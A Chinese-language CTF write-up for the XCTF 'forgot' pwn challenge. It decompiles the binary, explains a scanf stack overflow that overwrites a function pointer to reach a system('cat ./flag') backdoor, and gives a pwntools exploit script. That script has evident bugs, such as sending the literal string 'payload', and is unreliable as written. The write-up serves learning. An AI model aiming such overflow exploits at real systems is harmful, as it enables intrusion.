『攻防世界』:进阶区 | forgot

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA静态分析主函数:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD((int)&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x

", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();
  return fflush(stdout);
}
main

 发现后门函数:需要我们进行栈溢出。

int sub_80486CC()
{
  char s; // [esp+1Eh] [ebp-3Ah]

  snprintf(&s, 0x32u, "cat %s", "./flag");
  return system(&s);
}
sub_80486CC

 注意到两个需要输入的地方一个是fgets(&s, 32, stdin)读入31个字符,然后是__isoc99_scanf("%s", v2);的scanf输入,这里有一个溢出点。v3-v12均为函数地址,v14算是下标。

最后有一个对函数的调用:(*(&v3 + --v14))(); 这里我提一下,前面那个括号是函数名,后面那个括号是参数。我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为后门函数的地址。这边选择了覆盖v3,因为v3在栈中紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。

我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1(这样--v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让case1中的if语句判定为假,如此便可breakv14还会保持为1

exp:

from pwn import *
io =  remote("ip",port)
sys = 0x080486cc
payload = b'a'*32 + p32(sys)
#payload = b'a'*63 + p32(sys) 这个溢出的选择有两个
io.recvuntil("< ")
io.sendline("beef")
io.sendlineafter("> ","payload")
io.interactive()
exp
原文地址:https://www.cnblogs.com/Zowie/p/13470206.html